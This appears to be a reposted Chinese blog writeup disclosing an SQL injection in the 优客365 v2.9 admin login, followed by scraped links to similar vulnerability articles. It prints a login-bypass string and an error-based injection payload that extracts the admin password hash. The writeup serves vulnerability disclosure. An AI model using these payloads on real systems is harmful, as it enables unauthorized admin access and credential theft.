优客365 v2.9版本后台存在SQL注入

安装

打开后台登陆界面

http://localhost:9096/yk365/system/login.php

输入单引号报错

得到表名

经过跟踪后在\module\login.php文件出现错误

代码处理不严谨。根据上图，经测试，用户名可以用1' or '1'='1进行绕过

但密码经过md5加密

接下来通过SQL注入得到md5加密后的密码

payload：' and (select 1 from(select count(*),concat(0x7e,(select user_pass from dir_users where user_id=1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x)a)--+

用sqlmap跑的时候跑不出

可以利用此方法在不知道用户名的情况下登陆进后台

转载于:https://www.cnblogs.com/wh4am1/p/7821811.html

优客365 v2.9版本后台存在SQL注入相关推荐

thinkphp日志泄漏漏洞_ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...
ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件根据官方文档对"防止SQL注入" ...
测试php框架漏洞,ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法...
作者: seay 下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商不要再 ...
/plus/recommend.php sql注入漏洞,DedeCMS 全版本通杀SQL注入漏洞利用代码及工具 -
DedeCMS 全版本通杀SQL注入漏洞利用代码及工具目前官方最新版已修复该漏洞 V5.7.37 GBK正式版20140228常规更新补丁 http://www.dedecms.com/pl/ ht ...
/plus/recommend.php sql注入漏洞,代码审计：ThinkPHP框架通杀所有版本的一个SQL注入漏洞详细分析及测试方法 | Seay 渗透编程代码审计网络安全博客...
显示不全请点击全屏阅读下面是摘自thinkphp官方的一个公告,官方直接贴出这些东西是非常不负责的行为,跟上次apache公开的Struts2的代码执行一样的行为,会造成很多用户被黑.建议类似的厂商 ...
某游戏公司后台数据库SQL注入事件分析
某游戏公司后台数据库SQL注入事件分析人物关系简介 Blank –SA Dawn(Boss) Ryan –DBA Fred –离开公司的安全顾问本案例出自于<Unix/Linux网络日志分析 ...
Baidu某系统后台存在sql注入漏洞
漏洞详情披露状态: 2010-07-26: 细节已通知厂商并且等待厂商处理中 1970-01-01: 厂商已经确认,细节仅向厂商公开 1970-01-11: 细节向核心白帽子及相关领域专家公开 19 ...
php cms 代码注入,PHPCMS全版本通杀SQL注入漏洞
漏洞分析首先看下面的代码 /phpcms/modules/member/content.php 202行 edit函数 [php] public function edit() { $_userna ...
通达OA v11.7后台SQL注入
文章目录漏洞描述漏洞影响漏洞分析漏洞描述通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器. 漏洞影响通达OA <= v11.7 漏洞分析下载通达o ...
基于pikachu漏洞平台的 --SQL注入攻击学习与总结
SQL注入攻击基础知识常见注释符号使用示例 pikachu 漏洞联系平台 -- SQL注入 SQL注入攻击流程注入点类型数字型注入(POST) 字符型注入(GET) 搜索型注入 XX型注入 ...
Metinfo 5.3.17 前台SQL注入漏洞分析及实验
2017年08月07日漏洞分析作者:phith0n@长亭科技原文地址:https://paper.seebug.org/371/ Metinfo 8月1日升级了版 ...

优客365 v2.9版本后台存在SQL注入

优客365 v2.9版本后台存在SQL注入相关推荐

最新文章

热门文章

优客365 v2.9版本 后台存在SQL注入

优客365 v2.9版本 后台存在SQL注入相关推荐

最新文章

热门文章

优客365 v2.9版本后台存在SQL注入

优客365 v2.9版本后台存在SQL注入相关推荐